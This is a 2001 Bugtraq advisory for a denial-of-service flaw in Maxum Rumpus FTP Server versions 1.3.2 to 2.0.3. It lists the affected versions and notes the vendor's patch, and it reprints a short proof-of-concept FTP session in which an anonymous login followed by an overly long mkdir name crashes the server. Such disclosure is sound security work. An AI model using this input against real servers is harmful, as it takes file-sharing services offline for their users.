Rumpus Remote FTP Server DoS Vulnerability

BID:2716

Info

Rumpus Remote FTP Server DoS Vulnerability

Bugtraq ID: 2716
Class: Failure to Handle Exceptional Conditions
CVE:
Remote: Yes
Local: No
Published: May 15 2001 12:00AM
Updated: May 15 2001 12:00AM
Credit: Jass Seljamaa <[email protected]> posted this vulnerability to BugTraq on May 15th, 2001.
Vulnerable: Maxum Rumpus FTP Server 2.0.3 dev
Maxum Rumpus FTP Server 1.3.4
Maxum Rumpus FTP Server 1.3.2
Not Vulnerable: Maxum Rumpus FTP Server 1.3.6
Maxum Rumpus FTP Server 1.3.5

Discussion

Rumpus Remote FTP Server DoS Vulnerability

Rumpus FTP Server is an implementation for MacOS which allows file-sharing across TCP/IP connections.

It is possible to log in remotely to the server and shut down the service by making a directory with a name that is 65 characters long. Users must be authenticated to engage this attack.

Exploit / POC

Rumpus Remote FTP Server DoS Vulnerability

Jass Seljamaa <[email protected]> posted this sample exploit to BugTraq:

ftp host

user anonymous
pass anonymous

mkdir
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa

Solution / Fix

Rumpus Remote FTP Server DoS Vulnerability

Solution:
The vendor has patched this issue with new releases of the software package and freely offers upgrades to users who are affected by this issue.

References

Rumpus Remote FTP Server DoS Vulnerability

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